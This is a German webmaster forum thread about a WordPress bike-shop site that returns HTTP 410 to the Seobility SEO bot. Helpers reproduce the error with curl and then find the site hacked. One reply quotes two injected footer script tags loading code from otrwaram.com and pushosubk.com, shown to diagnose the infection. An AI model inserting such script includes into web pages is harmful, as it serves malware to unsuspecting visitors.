Die Seite lieferte den HTTP Statuscode 410 zurück

Ruccola

Hallo die Runde,

ich habe meine Seite mal bei seobility.net checken lassen und bekomme folgende Meldung:

Die Seite lieferte den HTTP Statuscode 410 zurück

Was kann ich machen damit ich die Seite cheken lassen kann?

Vielen Dank für die Infos!

Werbepost

Hallo!

Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
✔️ Deutsche Server & DSGVO-konform
✔️ Persönlicher Support (kein 0815-Ticket-System)

Mehr erfahren

maltris

Interessant wäre hier der Link zur Seite, dann kann man probieren, das zu reproduzieren.

Offenbar gibt der Webserver, Proxy hinter dem die Seite steht oder die Seite selbst, unter bestimmten Umständen einen HTTP 410 "Gone" zurück. Das kann 100 unterschiedliche Gründe haben, beispielsweise ein unerwünschter User-Agent, eine unerwünschte Source-IP - der Phantasie sind hier keine Grenzen gesetzt.

Ruccola

Hallo, danke für die schnelle Antwort!

Hier der Linke zur Seite:

https://bikebow.at/

maltris

Hallo,

ich habe das kurzerhand für dich reproduziert, mit seobility User-Agent:

Code

curl -v -A 'SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)' https://bikebow.at/

Code

> GET / HTTP/1.1
> Host: bikebow.at
> User-Agent: SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 410 Gone
< Date: Fri, 17 Apr 2020 07:32:05 GMT
< Server: Apache/2.4.10 (Debian)
< Strict-Transport-Security: max-age=15768000
< Content-Length: 359
< Content-Type: text/html; charset=iso-8859-1

Alles anzeigen

und stattdessen ohne bzw. mit curl Standard-User-Agent:

Code

curl -v  https://bikebow.at/

Code

> GET / HTTP/1.1
> Host: bikebow.at
> User-Agent: curl/7.66.0
> Accept: */*
>
{ [5 bytes data]
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 17 Apr 2020 07:33:45 GMT
< Server: Apache/2.4.10 (Debian)

Daher empfehle ich, dass du dich mit deinem Webhosting-Provider in Verbindung setzt, der sich darum kümmern kann, dass dieser User-Agent problemlos die Seite abrufen kann.

Ruccola

ok, danke - das ganze ist zwar bahnhof für mich, aber ich werde mal beim provider nachfragen was das alles bedeutet

b3317133

Laufen irgendwelche "Sicherheits"-Plugins?

Hintergrund der Frage, ein simpler Aufruf von /readme.txt auf Deinem Server liefert einen Apache 403 Forbidden Fehler...

Ruccola

Zitat von b3317133

Laufen irgendwelche "Sicherheits"-Plugins?
Hintergrund der Frage, ein simpler Aufruf von /readme.txt auf Deinem Server liefert einen Apache 403 Forbidden Fehler...

Ja das iThemes Scurity Plugin

b3317133

Vielleicht hast Du den Seobility Bot versehentlich ausgesperrt.

Zudem ist die Seite derzeit vermutlich gehackt, nach Zufallsprinzip oder 1x pro IP oder ähnlich erscheinen im Footer unerwünschte Scripteinbindungen im Quelltext, von mir markiert mit [FONT=Courier New]=== hier ===>[/FONT], z.B.

Code

...                                    <a href="https://www.facebook.com/radsport.bikebow/" target="_blank"><span class="fab fa-facebook-square"></span>  &nbsp; </a>
                                </p>
                            </li>
                                                </ul>
                </div>


=== hier ===> <script type="text/javascript" src="//otrwaram.com/apu.php?zoneid=2857365" async data-cfasync="false"></script>
=== hier ===> <script src="//pushosubk.com/ntfc.php?p=2857367" data-cfasync="false" async></script>
<script type='text/javascript'>
/* <![CDATA[ */
var avia_framework_globals = avia_framework_globals || {};
    avia_framework_globals.frameworkUrl = 'https://bikebow.at/wp-content/themes/enfold/framework/';
    ...

Alles anzeigen

b3317133

Der Website ist offenbar weiterhin gehackt, das sollte man beheben... :rolleyes:

Ruccola

Zitat von b3317133

Vielleicht hast Du den Seobility Bot versehentlich ausgesperrt.

Zudem ist die Seite derzeit vermutlich gehackt, nach Zufallsprinzip oder 1x pro IP oder ähnlich erscheinen im Footer unerwünschte Scripteinbindungen im Quelltext, von mir markiert mit [FONT=Courier New]=== hier ===>[/FONT], z.B.

Code

...                                    <a href="https://www.facebook.com/radsport.bikebow/" target="_blank"><span class="fab fa-facebook-square"></span>  &nbsp; </a>
                                </p>
                            </li>
                                                </ul>
                </div>


=== hier ===> <script type="text/javascript" src="//otrwaram.com/apu.php?zoneid=2857365" async data-cfasync="false"></script>
=== hier ===> <script src="//pushosubk.com/ntfc.php?p=2857367" data-cfasync="false" async></script>
<script type='text/javascript'>
/* <![CDATA[ */
var avia_framework_globals = avia_framework_globals || {};
    avia_framework_globals.frameworkUrl = 'https://bikebow.at/wp-content/themes/enfold/framework/';
    ...

Alles anzeigen

Hallo, so wie ich das sehe ist das das sticky sidebutton facebook logo. Nur bie bereinige ich das, bzw was kann ich da machen?

b3317133

Lies den Codeauszug nochmal, wie beschrieben bei der Markierung [FONT=Courier New]=== hier ===> :rolleyes:[/FONT]

Ruccola

Zitat von b3317133

Lies den Codeauszug nochmal, wie beschrieben bei der Markierung [FONT=Courier New]=== hier ===> :rolleyes:[/FONT]

ja schon, aber wie bekomm ich den Schmarrn raus? Wie lösch ich das ohne dass ich gleich alles neu instrallieren muss - vermutlich ist das letzt backup auch schon versäucht

b3317133

Ohne direkten Einblick und eingehende Analyse kann man dazu keine seriöse Aussage treffen.

Das allgemeine Vorgehen mit allen notwendigen Schritten bei einem Hack ist z.B. hier beschrieben.

Wenn man Webseiten betreibt bzw. betreut, sollte sowas eigentlich grundlegend bekannt sein. Alternativ suche Dir professionelle Hilfe mit entspr. Fachwissen in Deinem Umfeld oder über die Jobbörse o.ä.

b3317133

Der Website ist immer noch gehackt und liefert munter weiter Malware an alle Besucher aus... :confused:

Ruccola

Zitat von b3317133

Der Website ist immer noch gehackt und liefert munter weiter Malware an alle Besucher aus... :confused:

Ih weiß, ich über lege noch wie ich das am besten anstelle, da das letzte Backup nicht so lange her ist und damit vermutlich auch schon infiziert sein wird.

Ein Idee hätte ich - den der zeitigen Stand backupen mit Duplicator z.B und auf einem anderen Server installieren - sämtliche plugins und das theme löschen und neu installieren un hoffen. So wäre wenigsten die derzeitige Seite sichtbar und nicht einfach down oder im Wartungsmodus.
Was meinst du?

b3317133

Zitat von Ruccola

Was meinst du?

Siehe oben.

Zitat von b3317133

Das allgemeine Vorgehen mit allen notwendigen Schritten bei einem Hack ist z.B. hier beschrieben.
...

Ruccola

Eine Frage noch - wie und wo hast du diese Zeilen mit "otrwaram und pushosubk" gefunden. Damit ich das dann danach prüfen kann?

b3317133

Zitat von b3317133

... nach Zufallsprinzip oder 1x pro IP oder ähnlich erscheinen im Footer unerwünschte Scripteinbindungen im Quelltext ...

Im Browser den Quelltext ansehen, dafür gibt es viele Wege, z.B. Strg-U o.ä.

Alternativ über entspr. Dienstleister, die verschiedene IP-Adressen verwenden z.B.

Code

https://sitecheck.sucuri.net/results/https/bikebow.at

Im Moment scheint Dein Website allerdings "down" zu sein...

Ruccola

Sieht gut aus, das hat mir geholfen falls das Problem noch jemand hat:
https://internetkonzepte.com/blog/wp-tmp-ma…ress-entfernen/

b3317133

Das ist schonmal gut, aber daran denken, ein Hack kommt/ist selten alleine...

Selbst wenn man eine bestimmte Infizierung o.ä. gefunden hat, ist es wichtig, dass man komplett alle Schritte, die im o.g. Link beschrieben sind, durchführt und vor allem die ursprüngliche Lücke identifiziert und geschlossen hat.

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Die Seite lieferte den HTTP Statuscode 410 zurück

Jetzt mitmachen!